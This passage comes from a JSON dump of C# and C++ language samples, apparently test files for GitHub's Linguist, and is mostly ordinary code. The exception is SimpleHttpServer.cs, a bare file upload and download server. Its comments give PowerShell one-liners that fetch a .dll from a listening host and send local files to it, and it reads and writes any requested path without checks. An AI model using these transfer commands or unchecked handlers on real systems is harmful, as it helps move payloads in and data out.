    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace LittleSampleApp\n{\n  /// <summary>\n  /// Just what it says on the tin. A little sample application for Linguist to try out.\n  /// \n  /// </summary>\n  class Program\n  {\n    static void Main(string[] args)\n    {\n      Console.WriteLine(\"Hello, I am a little sample application to test GitHub's Linguist module.\");\n      Console.WriteLine(\"I also include a Razor MVC file just to prove it handles cshtml files now.\");\n    }\n  }\n}\n"
  },
  {
    "path": "samples/C#/SimpleHttpServer.cs",
    "content": "using System;\nusing System.IO;\nusing System.Net;\nusing System.Reflection;\nusing System.Text;\nusing System.Threading.Tasks;\n\n/*\n * Based on HttpServer.cs from Benjamin N. Summerton, thx - https://gist.github.com/define-private-public/d05bc52dd0bed1c4699d49e2737e80e7\n *\n * Compile how-to:\n * \t - e.g.: c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\csc.exe /out:.\\httpserver.exe .\\SimpleHttpServer.cs\n *\n * Upload how-to:\n *   - Access via browser on your listening port\n *   - PowerShell: iwr -Uri http://<listenhost>:<port>/filename.dll -OutFile filename.dll\n *\n * Download how-to:\n *   - Access via browser on your listening port\n *   - PowerShell 3+: Invoke-RestMethod -Method POST -Body ([System.IO.File]::ReadAllBytes('c:\\filename.dll)) http://<listenhost>:<port>/?fn=filename.dll\n *\n * */\n\nclass SimpleHttpServer\n{\n\tpublic static HttpListener listener;\n\tpublic static string url = \"\";\n\tpublic const string pageStart = @\"\n\t\t<!doctype>\n\t\t<html>\n\t\t<head>\n\t\t\t<title>HTTP Server</title>\n\t\t\t<script>function upload(el) {{\n\t\t\t\tfr = new FileReader();\n\t\t\t\tfr.readAsArrayBuffer(el.files[0]);\n\t\t\t\tfname = el.value.split('\\\\\\\\').slice(-1)[0];\n\t\t\t\tfr.onload = () => {{\n\t\t\t\t\tfetch('{0}?fn='+fname, {{\n\t\t\t\t\t\tmethod: 'POST',\n\t\t\t\t\t\tbody: fr.result\n\t\t\t\t\t\t}}).then(() => {{\n\t\t\t\t\t\t\tdocument.querySelector('p').innerHTML = fname + ' most likely uploded successfully';\n\t\t\t\t\t\t}}).catch(() => {{\n\t\t\t\t\t\t\tdocument.querySelector('p').innerHTML = 'upload possibly failed';\n\t\t\t\t\t\t}})\n\t\t\t\t\t}}\n\t\t\t\t}}\n\t\t\t</script>\n\t\t</head>\n\t\t<body>\n\t\t\t<ul>\";\n\tpublic const string pageEnd = @\"\n\t\t\t</ul>\n\t\t\t<hr>\n\t\t\t<form>\n\t\t\t\tUpload file: <input type=\"\"file\"\" onchange=\"\"upload(this)\"\">\n\t\t\t</form>\n\t\t\t<p></p>\n\t\t</body>\n\t\t</html>\";\n\n\n\tpublic static async Task HandleIncomingConnections()\n\t{\n\t\tstring localDir = Directory.GetCurrentDirectory();\n\n\t\twhile (true)\n\t\t{\n\t\t\tstring html = String.Format(pageStart, url);\n\t\t\tHttpListenerContext ctx = await listener.GetContextAsync();\n\t\t\tHttpListenerRequest req = ctx.Request;\n\t\t\tHttpListenerResponse resp = ctx.Response;\n\t\t\tbyte[] data = new byte[0];\n\t\t\tstring queryFname = req.QueryString.Get(\"fn\");\n\t\t\tdouble mb = Math.Pow(2,20);\n\n\t\t\tConsole.Write(req.HttpMethod + \" \" + req.Url.ToString() + \" \" + req.RemoteEndPoint.ToString());\n\n\t\t\tif (req.Url.AbsolutePath.Length > 1)\n\t\t\t{\n\t\t\t\tstring downFname = req.Url.AbsolutePath.Substring(1);\n\t\t\t\tdownFname = System.Uri.UnescapeDataString(downFname);\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tdata = File.ReadAllBytes(localDir+\"\\\\\"+downFname);\n\t\t\t\t\tConsole.Write(\" '\" + downFname + \"' sent\");\n\t\t\t\t}\n\t\t\t\tcatch (FileNotFoundException)\n\t\t\t\t{\n\t\t\t\t\tresp.StatusCode = 404;\n\t\t\t\t\tConsole.Write(\" '\" + downFname + \"' not found\");\n\t\t\t\t}\n\t\t\t\tresp.ContentType = \"application/octet-stream\";\n\t\t\t\tresp.Headers.Add(\"Content-Disposition\", \"attachment; filename=\\\"\" + downFname + \"\\\"\");\n\t\t\t}\n\t\t\telse if (req.HttpMethod == \"POST\" && queryFname != null)\n\t\t\t{\n\t\t\t\tusing (FileStream destination = new FileStream(queryFname, FileMode.Create, FileAccess.Write))\n\t\t\t\t{\n\t\t\t\t\treq.InputStream.CopyTo(destination);\n\t\t\t\t}\n\t\t\t\tConsole.Write(\" '\" + queryFname + \"' saved\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tDirectoryInfo directoryInfo = new DirectoryInfo(localDir);\n\t\t\t\tforeach (FileInfo fi in directoryInfo.EnumerateFiles(\"*\"))\n\t\t\t\t{\n\t\t\t\t\thtml += String.Format(\"<li>\\n<a href=\\\"/{0}\\\" target=\\\"_blank\\\">{0} (Size: {1:.000}MB)</a>\\n</li>\", fi, fi.Length/mb);\n\t\t\t\t}\n\t\t\t\thtml += pageEnd;\n\t\t\t\tdata = Encoding.UTF8.GetBytes(html);\n\t\t\t\tresp.ContentType = \"text/html\";\n\t\t\t\tresp.ContentEncoding = Encoding.UTF8;\n\t\t\t}\n\n\t\t\tresp.ContentLength64 = data.LongLength;\n\t\t\tawait resp.OutputStream.WriteAsync(data, 0, data.Length);\n\t\t\tresp.Close();\n\t\t\treq = null;\n\t\t\tresp = null;\n\t\t\tctx = null;\n\t\t\tdata = new byte[0]; \n\t\t\tGC.Collect(); // otherwise it takes stupidly long time to free memory after downloads\n\t\t\tConsole.Write(\"\\n\");\n\t\t}\n\t}\n\n\tpublic static void Main(string[] args)\n\t{\n\t\tif (args.Length != 2)\n\t\t{\n\t\t\tConsole.WriteLine(String.Format(\"Usage: {0} <listen host/IP> <listen port>\", Environment.GetCommandLineArgs()[0]));\n\t\t\treturn;\n\t\t}\n\t\turl = \"http://\" + args[0] + \":\" + args[1] + \"/\";\n\t\tlistener = new HttpListener();\n\t\tlistener.Prefixes.Add(url);\n\t\tlistener.Start();\n\t\tConsole.WriteLine(\"Listening for connections on {0}\", url);\n\t\tTask task = HandleIncomingConnections();\n\t\ttask.GetAwaiter().GetResult();\n\t\tlistener.Close();\n\t}\n}\n\n"
  },
  {
    "path": "samples/C#/_CodeSugarIO.DriveInfo.cs.pp",
    "content": "﻿// Copyright (c) CodeSugar 2024 Vicente Penades\n\nusing System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.IO;\nusing System.Runtime.CompilerServices;\n\n#nullable disable\n\nusing FILE = System.IO.FileInfo;\nusing DIRECTORY = System.IO.DirectoryInfo;\nusing SYSTEMENTRY = System.IO.FileSystemInfo;\n\n#if CODESUGAR_USECODESUGARNAMESPACE\nnamespace CodeSugar\n#elif CODESUGAR_USESYSTEMNAMESPACE\nnamespace System.IO\n#else\nnamespace $rootnamespace$\n#endif\n{\n    static partial class CodeSugarForSystemIO    \n    {\n        /// <summary>\n        /// Tries to get the DriveInfo from a given system file object.\n        /// </summary>\n        /// <remarks>\n        /// <para>\n        /// it will fail if the path points to a network drive, as in: <c>\\\\NetworkDevice\\path\\</c>\n        /// </para>\n        /// <para>\n        /// This only works on Windows.\n        /// </para>\n        /// </remarks>\n        public static bool TryGetDriveInfo(this System.IO.DirectoryInfo dinfo, out System.IO.DriveInfo drive)\n        {\n            drive = null;\n\n            if (dinfo == null) return false;\n            var root = dinfo.Root.GetNormalizedFullName();            \n\n            if (string.IsNullOrWhiteSpace(root)) return false;\n            if (root.Length < 2) return false;            \n\n            // network drive\n\n            if (root[0] == System.IO.Path.DirectorySeparatorChar && root[1] == System.IO.Path.DirectorySeparatorChar) return false;                            \n\n            // system drive\n\n            var interned = _TryGetInternedDriveInfo(root);\n            if (interned != null) { drive = interned; return true; }\n\n            drive = new System.IO.DriveInfo(root);                \n            return true;\n        }\n\n        /// <summary>\n        /// Gets the drive or network name of the given object.\n        /// </summary>\n        public static string GetDriveOrNetworkName(this System.IO.DirectoryInfo dinfo)\n        {\n            if (dinfo == null) return null;\n            var root = dinfo.Root.GetNormalizedFullName();\n\n            var interned = _TryGetInternedDriveInfo(root);\n            if (interned != null) return interned.Name;\n\n            return root;            \n        }\n\n        // this is a helper method that allows reusing tha same System.IO.DriveInfo instanced mapped to System Drives.\n        private static System.IO.DriveInfo _TryGetInternedDriveInfo(string root)\n        {\n            if (_InternedFixedDrives == null) // initialize\n            {\n                _InternedFixedDrives = new Dictionary<string,System.IO.DriveInfo>(FileSystemStringComparer);\n\n                foreach(var d in System.IO.DriveInfo.GetDrives())\n                {\n                    if (!d.IsReady) continue;\n\n                    if (d.DriveType != System.IO.DriveType.Fixed) continue;                                    \n                    _InternedFixedDrives[d.Name] = d;\n                }\n            }\n\n            return _InternedFixedDrives.TryGetValue(root, out var drive) ? drive : null;            \n        }        \n    }\n}\n"
  },
  {
    "path": "samples/C#/build.cake",
    "content": "///////////////////////////////////////////////////////////////////////////////\n// ARGUMENTS\n///////////////////////////////////////////////////////////////////////////////\n\nvar target = Argument<string>(\"target\", \"Default\");\nvar configuration = Argument<string>(\"configuration\", \"Release\");\n\n///////////////////////////////////////////////////////////////////////////////\n// GLOBAL VARIABLES\n///////////////////////////////////////////////////////////////////////////////\n\nvar solutions = GetFiles(\"./**/*.sln\");\nvar solutionPaths = solutions.Select(solution => solution.GetDirectory());\n\n///////////////////////////////////////////////////////////////////////////////\n// SETUP / TEARDOWN\n///////////////////////////////////////////////////////////////////////////////\n\nSetup(() =>\n{\n    // Executed BEFORE the first task.\n    Information(\"Running tasks...\");\n});\n\nTeardown(() =>\n{\n    // Executed AFTER the last task.\n    Information(\"Finished running tasks.\");\n});\n\n///////////////////////////////////////////////////////////////////////////////\n// TASK DEFINITIONS\n///////////////////////////////////////////////////////////////////////////////\n\nTask(\"Clean\")\n    .Does(() =>\n{\n    // Clean solution directories.\n    foreach(var path in solutionPaths)\n    {\n        Information(\"Cleaning {0}\", path);\n        CleanDirectories(path + \"/**/bin/\" + configuration);\n        CleanDirectories(path + \"/**/obj/\" + configuration);\n    }\n});\n\nTask(\"Restore\")\n    .Does(() =>\n{\n    // Restore all NuGet packages.\n    foreach(var solution in solutions)\n    {\n        Information(\"Restoring {0}...\", solution);\n        NuGetRestore(solution);\n    }\n});\n\nTask(\"Build\")\n    .IsDependentOn(\"Clean\")\n    .IsDependentOn(\"Restore\")\n    .Does(() =>\n{\n    // Build all solutions.\n    foreach(var solution in solutions)\n    {\n        Information(\"Building {0}\", solution);\n        MSBuild(solution, settings => \n            settings.SetPlatformTarget(PlatformTarget.MSIL)\n                .WithProperty(\"TreatWarningsAsErrors\",\"true\")\n                .WithTarget(\"Build\")\n                .SetConfiguration(configuration));\n    }\n});\n\n///////////////////////////////////////////////////////////////////////////////\n// TARGETS\n///////////////////////////////////////////////////////////////////////////////\n\nTask(\"Default\")\n    .IsDependentOn(\"Build\");\n\n///////////////////////////////////////////////////////////////////////////////\n// EXECUTION\n///////////////////////////////////////////////////////////////////////////////\n\nRunTarget(target);"
  },
  {
    "path": "samples/C#/chart-process-memory.linq",
    "content": "<Query Kind=\"Program\">\r\n  <GACReference>System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</GACReference>\r\n  <Namespace>System</Namespace>\r\n  <Namespace>System.Dynamic</Namespace>\r\n  <Namespace>System.Management.Automation</Namespace>\r\n  <Namespace>System.Runtime.Serialization.Formatters</Namespace>\r\n  <Namespace>System.Xml.Linq</Namespace>\r\n</Query>\r\n\r\nvoid Main()\r\n{\r\n\t/*\r\n\t * chart process memory\r\n\t * Authored by zyonet\r\n\t * No waranties provided what soever, use at your own risk or benefit ;D\r\n\t * MIT license\r\n\t * https://raw.githubusercontent.com/zyonet/PowerLinqPadScripts/master/LinqPad5/chart-process-memory.linq\r\n\t */\r\n\t\r\n\t//To Test:  open this file in LinqPad 5 (https://www.linqpad.net)\r\n\t//refence System.Management.Automation dll in GAC\r\n\t//and set language to C# in vscode for the current editor\r\n\t\r\n\tvar ps = PowerShell.Create();\r\n\tvar _1m = 1024 * 1024;\r\n\t\r\n\tvar script = @\"get-process | Select Name,WS | Sort-Object -Descending WS | Where-Object {$_.WS -gt 10 * 1024 * 1024}\";\r\n\tps.AddScript(script);\r\n\tvar res = ps.Invoke();\r\n\t\r\n\tvar processes = res.Select( x => new {\r\n\t\tName = (string) x.Properties[\"Name\"].Value,\r\n\t\tWSInMb = (long) x.Properties[\"WS\"].Value / _1m\r\n\t});\r\n\t\r\n\t//now chart it\r\n\tUtil.Chart(processes\r\n\t.Where( p => p.WSInMb >= 100), //replace with your filter \r\n\t(p) => p.Name, (p) => p.WSInMb,\r\n\tUtil.SeriesType.Pie)\r\n\t.Dump(\"Processes Where WS > 100M (unit = 1Mb)\");\r\n}\r\n\r\n// Define other methods and classes here\r\n"
  },
  {
    "path": "samples/C++/16F88.h",
    "content": "/*\n * This file is part of PIC\n * Copyright © 2012 Rachel Mant (dx-mon@users.sourceforge.net)\n *\n * PIC is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * PIC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\nenum PIC16F88Instruction\n{\n\tADDWF,\n\tANDWF,\n\tCLRF,\n\tCLRW,\n\tCOMF,\n\tDECF,\n\tDECFSZ,\n\tINCF,\n\tINCFSZ,\n\tIORWF,\n\tMOVF,\n\tMOVWF,\n\tNOP,\n\tRLF,\n\tRRF,\n\tSUBWF,\n\tSWAPF,\n\tXORWF,\n\tBCF,\n\tBSF,\n\tBTFSC,\n\tBTFSS,\n\tADDLW,\n\tANDLW,\n\tCALL,\n\tCLRWDT,\n\tGOTO,\n\tIORLW,\n\tMOVLW,\n\tRETFIE,\n\tRETLW,\n\tRETURN,\n\tSLEEP,\n\tSUBLW,\n\tXORLW\n};\n\nclass PIC16F88\n{\npublic:\n\tPIC16F88(ROM *ProgramMemory);\n\tvoid Step();\n\nprivate:\n\tuint8_t q;\n\tbool nextIsNop, trapped;\n\tMemory *memory;\n\tROM *program;\n\tStack<uint16_t, 8> *CallStack;\n\tRegister<uint16_t> *PC;\n\tRegister<> *WREG, *PCL, *STATUS, *PCLATCH;\n\tPIC16F88Instruction inst;\n\tuint16_t instrWord;\n\nprivate:\n\tvoid DecodeInstruction();\n\tvoid ProcessInstruction();\n\n\tuint8_t GetBank();\n\tuint8_t GetMemoryContents(uint8_t partialAddress);\n\tvoid SetMemoryContents(uint8_t partialAddress, uint8_t newVal);\n\tvoid CheckZero(uint8_t value);\n\tvoid StoreValue(uint8_t value, bool updateZero);\n\tuint8_t SetCarry(bool val);\n\tuint16_t GetPCHFinalBits();\n};\n"
  },
  {
    "path": "samples/C++/ClasspathVMSystemProperties.inc",
    "content": "//===- ClasspathVMSystem/Properties.cpp -----------------------------------===//\n//===--------------------- GNU classpath gnu/classpath/VMSystemProperties -===//\n//\n//                            The VMKit project\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#include <sys/utsname.h>\n\n#include \"types.h\"\n\n#include \"Classpath.h\"\n#include \"JavaArray.h\"\n#include \"JavaClass.h\"\n#include \"JavaObject.h\"\n#include \"JavaThread.h\"\n#include \"JavaUpcalls.h\"\n#include \"Jnjvm.h\"\n\n#include \"SetProperties.inc\"\n\nusing namespace j3;\n\nextern \"C\" {\n\n\nJNIEXPORT void JNICALL Java_gnu_classpath_VMSystemProperties_preInit(\n#ifdef NATIVE_JNI\nJNIEnv *env,\njclass clazz,\n#endif\nJavaObject* prop) {\n  \n  llvm_gcroot(prop, 0);\n\n  BEGIN_NATIVE_EXCEPTION(0)\n\n  setProperties(prop);\n\n  END_NATIVE_EXCEPTION\n}\n\nextern \"C\" void Java_gnu_classpath_VMSystemProperties_postInit__Ljava_util_Properties_2(JavaObject* prop) {\n\n  llvm_gcroot(prop, 0);\n\n  BEGIN_NATIVE_EXCEPTION(0)\n\n  setCommandLineProperties(prop);\n\n  END_NATIVE_EXCEPTION\n}\n\n}\n"
  },
  {
    "path": "samples/C++/CsvStreamer.h",
    "content": "#pragma once\n#include <string>\n#include <vector>\n#include <fstream>\n#include \"util.h\"\n\nusing namespace std;\n\n\n#define DEFAULT_DELIMITER\t','\n\n\nclass CsvStreamer\n{\n\tprivate:\n\t\tofstream file;\t\t\t\t// File output stream\n\t\tvector<string> row_buffer;\t// Buffer which stores a row's data before being flushed/written\n\t\tint fields;\t\t\t\t\t// Number of fields (columns)\n\t\tlong rows;\t\t\t\t\t// Number of rows (records) including header row\n\t\tchar delimiter;\t\t\t\t// Delimiter character; comma by default\n\t\tstring sanitize(string);\t// Returns a string ready for output into the file\n\t\t\n\tpublic:\n\t\tCsvStreamer();\t\t\t\t// Empty CSV streamer... be sure to open the file before writing!\n\t\tCsvStreamer(string, char);\t// Same as open(string, char)...\n\t\tCsvStreamer(string);\t\t// Opens an output CSV file given a file path/name\n\t\t~CsvStreamer();\t\t\t\t// Ensures the output file is closed and saved\n\t\tvoid open(string);\t\t\t// Opens an output CSV file given a file path/name (default delimiter)\n\t\tvoid open(string, char);\t// Opens an output CSV file given a file path/name and a delimiting character (default comma)\n\t\tvoid add_field(string);\t\t// If still on first line, adds a new field to the header row\n\t\tvoid save_fields();\t\t\t// Call this to save the header row; all new writes should be through append()\n\t\tvoid append(string);\t\t// Appends the current row with this data for the next field; quoted only if needed (leading/trailing spaces are trimmed)\n\t\tvoid append(string, bool);\t// Like append(string) but can specify whether to trim spaces at either end of the data (false to keep spaces)\n\t\tvoid append(float);\t\t\t// Appends the current row with this number\n\t\tvoid append(double);\t\t// Appends the current row with this number\n\t\tvoid append(long);\t\t\t// Appends the current row with this number\n\t\tvoid append(int);\t\t\t// Appends the current row with this number\n\t\tvoid writeln();\t\t\t\t// Flushes what was in the row buffer into the file (writes the row)\n\t\tvoid close();\t\t\t\t// Saves and closes the file\n\t\tint field_count();\t\t\t// Gets the number of fields (columns)\n\t\tlong row_count();\t\t\t// Gets the number of records (rows) -- NOT including the header row\n};\n"
  },
  {
    "path": "samples/C++/Entity.h",
    "content": "/** \n* @file Entity.h\n* @page EntityPage Entity\n* @brief represent an entity in the game\n* @author vinz243\n* @version 0.1.0\n* This file represents an Entity in the game system\n* This parent type is a static entity which is shown and loaded into the Physics engine but never updated\n*/\n\n#ifndef ENTITY_H\n#define ENTITY_H\n\n#include \"base.h\"\n/// @namespace Whitedrop\nnamespace Whitedrop {\n\t/** @class Entity\n\t* This parent type is a static entity which is shown and loaded into the Physics engine but never updated\n\t*/\n\tclass Entity {\n\tpublic:\n\t\t/**\n\t\t * @brief Create static entity\n\t\t * @details creates a static entity instance according to the mesh and the id, the position\n\t\t * This needs to be attached to a World after!\n\t\t * The material name is not the file name but the material name!\n\t\t * @ref WorldPage\n\t\t * @param mesh the name of the mesh for the object, file must be in media/meshes\n\t\t * @param id an unique identifier for the object, shortest as possible\n\t\t * @param dimensions an Ogre::Vector3 which contains the dimensions in meter\n\t\t * @param position the Vector3 which contains it position \n\t\t * @param material the material name\n\t\t */\n\t\tEntity(std::string mesh, std::string id, Ogre::Vector3 dimensions, Ogre::Vector3 position, std::string material);\n\t\t/**\n\t\t * @brief The copy constructor\n\t\t * @details A copy constr\n\t\t * \n\t\t * @param ref the Entity to be copied from\n\t\t */\n\t\tEntity(const Entity &ref);\n\n\t\t/**\n\t\t * @brief The assignement operator\n\t\t * @details \n\t\t * \n\t\t * @param ent the entity to be copied\n\t\t */\n\t\tEntity& operator=(const Entity ent);\n\n\t\t/**\n\t\t * @brief destrctor\n\t\t * @details\n\t\t */\n\t\tvirtual ~Entity(void);\n\n\t\t/**\n\t\t * @brief a constance type of the entity\n\t\t * @details depends of the class. \n\t\t * May contain STATIC, DYNAMIC or ETHERAL\n\t\t */\n\t\tconst std::string type = \"STATIC\";\n\n\t\t/**\n\t\t * @brief Attach the entity to specified sceneManager\n\t\t * @details This creates the OgreEntity using sceneMgr,\n\t\t * set material, create a Node with name as `<id>_n`,\n\t\t * scale it to match dimensions and translate the node to pos\n\t\t * @param sceneMgr the scene manager to use\n\t\t */\n\t\tvirtual void setup(Ogre::SceneManager* sceneMgr);\n\n\t\t/**\n\t\t * @brief the update method\n\t\t * @details this method should be called on each world update.\n\t\t * Even though the method is necessary declared, the main impl of \n\t\t * a static entity should be empty since it is not updated by physics\n\t\t * However, a Dynamic entity should implement this function in order to:\n\t\t * 1) Get from the physics engine the actor position in the physic world\n\t\t * 2) Update the OgreEntity position and rotation from the previous actor\n\t\t * @return whether it was successful or not, if falsey engine should stop\n\t\t */\n\t\tvirtual bool update(void);\n\n\tprotected:\n\t\tstd::string \t\t\tmMesh = \"cube.mesh\";\n\t\tstd::string \t\t\tmId;\n\t\tstd::string \t\t\tmMaterial;\n\t\tOgre::Vector3 \t\t\tmDimensions;\n\t\tOgre::Vector3 \t\t\tmPosition;\n\t\tOgre::Entity* \t\t\tmEntity;\n\t\tOgre::SceneNode* \t\tmNode;\n\n\t};\n}\n\n\n#endif"
  },
  {
    "path": "samples/C++/Math.inl",
    "content": "/*\r\n===========================================================================\r\nThe Open Game Libraries.\r\nCopyright (C) 2007-2010 Lusito Software\r\n\r\nAuthor:  Santo Pfingsten (TTK-Bandit)\r\nPurpose: Math namespace\r\n-----------------------------------------\r\n\r\nThis software is provided 'as-is', without any express or implied\r\nwarranty. In no event will the authors be held liable for any damages\r\narising from the use of this software.\r\n\r\nPermission is granted to anyone to use this software for any purpose,\r\nincluding commercial applications, and to alter it and redistribute it\r\nfreely, subject to the following restrictions:\r\n\r\n1. The origin of this software must not be misrepresented; you must not\r\n   claim that you wrote the original software. If you use this software\r\n   in a product, an acknowledgment in the product documentation would be\r\n   appreciated but is not required.\r\n\r\n2. Altered source versions must be plainly marked as such, and must not be\r\n   misrepresented as being the original software.\r\n\r\n3. This notice may not be removed or altered from any source distribution.\r\n===========================================================================\r\n*/\r\n\r\n#ifndef __OG_MATH_INL__\r\n#define __OG_MATH_INL__\r\n\r\nnamespace og {\r\n\r\n/*\r\n==============================================================================\r\n\r\n  Math\r\n\r\n==============================================================================\r\n*/\r\n\r\n/*\r\n================\r\nMath::Abs\r\n================\r\n*/\r\nOG_INLINE int Math::Abs( int i ) {\r\n#if 1\r\n\tif ( i & 0x80000000 )\r\n\t\treturn 0x80000000 - (i & MASK_SIGNED);\r\n\treturn i;\r\n#else\r\n   int y = x >> 31;\r\n   return ( ( x ^ y ) - y );\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::Fabs\r\n================\r\n*/\r\nOG_INLINE float Math::Fabs( float f ) {\r\n#if 1\r\n\tuInt *pf = reinterpret_cast<uInt*>(&f);\r\n\t*(pf) &= MASK_SIGNED;\r\n\treturn f;\r\n#else\r\n\treturn fabsf( f );\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::Round\r\n================\r\n*/\r\nOG_INLINE float Math::Round( float f ) {\r\n\treturn floorf( f + 0.5f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Floor\r\n================\r\n*/\r\nOG_INLINE float Math::Floor( float f ) {\r\n\treturn floorf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Ceil\r\n================\r\n*/\r\nOG_INLINE float Math::Ceil( float f ) {\r\n\treturn ceilf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Ftoi\r\n\r\nok since this is SSE, why should the other ftoi be the faster one ?\r\nand: we might need to add a check for SSE extensions..\r\nbecause sse isn't *really* faster (I actually read that GCC does not handle\r\nSSE extensions perfectly. I'll find the link and send it to you when you're online)\r\n================\r\n*/\r\nOG_INLINE int Math::Ftoi( float f ) {\r\n\t//! @todo\tneeds testing\r\n\t// note: sse function cvttss2si\r\n#if OG_ASM_MSVC\r\n\tint i;\r\n#if defined(OG_FTOI_USE_SSE)\r\n\tif( SysInfo::cpu.general.SSE ) {\r\n\t\t__asm cvttss2si\teax, f\r\n\t\t__asm mov\t\ti, eax\r\n\t\treturn i;\r\n\t} else\r\n#endif\r\n\t{\r\n\t\t__asm fld\t\tf\r\n\t\t__asm fistp\t\ti\r\n\t\t//__asm mov eax, i // do we need this ? O_o\r\n\t}\r\n\treturn i;\r\n#elif OG_ASM_GNU\r\n\tint i;\r\n#if defined(OG_FTOI_USE_SSE)\r\n\tif( SysInfo::cpu.general.SSE ) {\r\n\t\t__asm__ __volatile__( \"cvttss2si %1    \\n\\t\"\r\n\t\t\t: \"=m\" (i)\r\n\t\t\t: \"m\" (f)\r\n\t\t);\r\n\t} else\r\n#endif\r\n\t{\r\n\t\t__asm__ __volatile__( \"flds %1    \\n\\t\"\r\n\t\t\t\t\t\t\t  \"fistpl %0  \\n\\t\"\r\n\t\t\t: \"=m\" (i)\r\n\t\t\t: \"m\" (f)\r\n\t\t);\r\n\t}\r\n\treturn i;\r\n#else\r\n\t// we use c++ cast instead of c cast (not sure why id did that)\r\n\treturn static_cast<int>(f);\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::FtoiFast\r\n================\r\n*/\r\nOG_INLINE int Math::FtoiFast( float f ) {\r\n#if OG_ASM_MSVC\r\n\tint i;\r\n\t__asm fld\t\tf\r\n\t__asm fistp\t\ti\r\n\t//__asm mov eax, i // do we need this ? O_o\r\n\treturn i;\r\n#elif OG_ASM_GNU\r\n\tint i;\r\n\t__asm__ __volatile__( \"flds %1    \\n\\t\"\r\n\t\t\t\t\t\t  \"fistpl %0  \\n\\t\"\r\n\t\t: \"=m\" (i)\r\n\t\t: \"m\" (f)\r\n\t);\r\n\treturn i;\r\n#else\r\n\t// we use c++ cast instead of c cast (not sure why id did that)\r\n\treturn static_cast<int>(f);\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::Ftol\r\n================\r\n*/\r\nOG_INLINE long Math::Ftol( float f ) {\r\n#if OG_ASM_MSVC\r\n\tlong i;\r\n\t__asm fld\t\tf\r\n\t__asm fistp\t\ti\r\n\t//__asm mov eax, i // do we need this ? O_o\r\n\treturn i;\r\n#elif OG_ASM_GNU\r\n\tlong i;\r\n\t__asm__ __volatile__( \"flds %1    \\n\\t\"\r\n\t\t\t\t\t\t  \"fistpl %0  \\n\\t\"\r\n\t\t: \"=m\" (i)\r\n\t\t: \"m\" (f)\r\n\t);\r\n\treturn i;\r\n#else\r\n\t// we use c++ cast instead of c cast (not sure why id did that)\r\n\treturn static_cast<long>(f);\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::Sign\r\n================\r\n*/\r\nOG_INLINE float Math::Sign( float f )\t{\r\n\tif ( f > 0.0f )\r\n\t\treturn 1.0f;\r\n\tif ( f < 0.0f )\r\n\t\treturn -1.0f;\r\n\treturn 0.0f;\r\n}\r\n\r\n/*\r\n================\r\nMath::Fmod\r\n================\r\n*/\r\nOG_INLINE float Math::Fmod( float numerator, float denominator ) {\r\n\treturn fmodf( numerator, denominator );\r\n}\r\n\r\n/*\r\n================\r\nMath::Modf\r\n================\r\n*/\r\nOG_INLINE float Math::Modf( float f, float& i ) {\r\n\treturn modff( f, &i );\r\n}\r\nOG_INLINE float Math::Modf( float f ) {\r\n\tfloat i;\r\n\treturn modff( f, &i );\r\n}\r\n\r\n/*\r\n================\r\nMath::Sqrt\r\n================\r\n*/\r\nOG_INLINE float Math::Sqrt( float f ) {\r\n\treturn sqrtf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::InvSqrt\r\n\r\nCannot be 0.0f\r\n================\r\n*/\r\nOG_INLINE float Math::InvSqrt( float f ) {\r\n\tOG_ASSERT( f != 0.0f );\r\n\treturn 1.0f / sqrtf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::RSqrt\r\n\r\nCan be 0.0f\r\n================\r\n*/\r\nOG_INLINE float Math::RSqrt( float f ) {\r\n\tfloat g = 0.5f * f;\r\n\tint i = *reinterpret_cast<int *>(&f);\r\n\r\n\t// do a guess\r\n\ti = 0x5f375a86 - ( i>>1 );\r\n\tf = *reinterpret_cast<float *>(&i);\r\n\r\n\t// Newtons calculation\r\n\tf = f * ( 1.5f - g * f * f );\r\n\treturn f;\r\n}\r\n\r\n/*\r\n================\r\nMath::Log/Log2/Log10\r\n\r\nLog of 0 is bad.\r\nI've also heard you're not really\r\nsupposed to do log of negatives, yet\r\nthey work fine.\r\n================\r\n*/\r\nOG_INLINE float Math::Log( float f ) {\r\n\tOG_ASSERT( f != 0.0f );\r\n\treturn logf( f );\r\n}\r\nOG_INLINE float Math::Log2( float f ) {\r\n\tOG_ASSERT( f != 0.0f );\r\n\treturn INV_LN_2 * logf( f );\r\n}\r\nOG_INLINE float Math::Log10( float f ) {\r\n\tOG_ASSERT( f != 0.0f );\r\n\treturn INV_LN_10 * logf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Pow\r\n================\r\n*/\r\nOG_INLINE float Math::Pow( float base, float exp ) {\r\n\treturn powf( base, exp );\r\n}\r\n\r\n/*\r\n================\r\nMath::Exp\r\n================\r\n*/\r\nOG_INLINE float Math::Exp( float f ) {\r\n\treturn expf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::IsPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE bool Math::IsPowerOfTwo( int x ) {\r\n\t// This is the faster of the two known methods\r\n\t// with the x > 0 check moved to the beginning\r\n\treturn x > 0 && ( x & ( x - 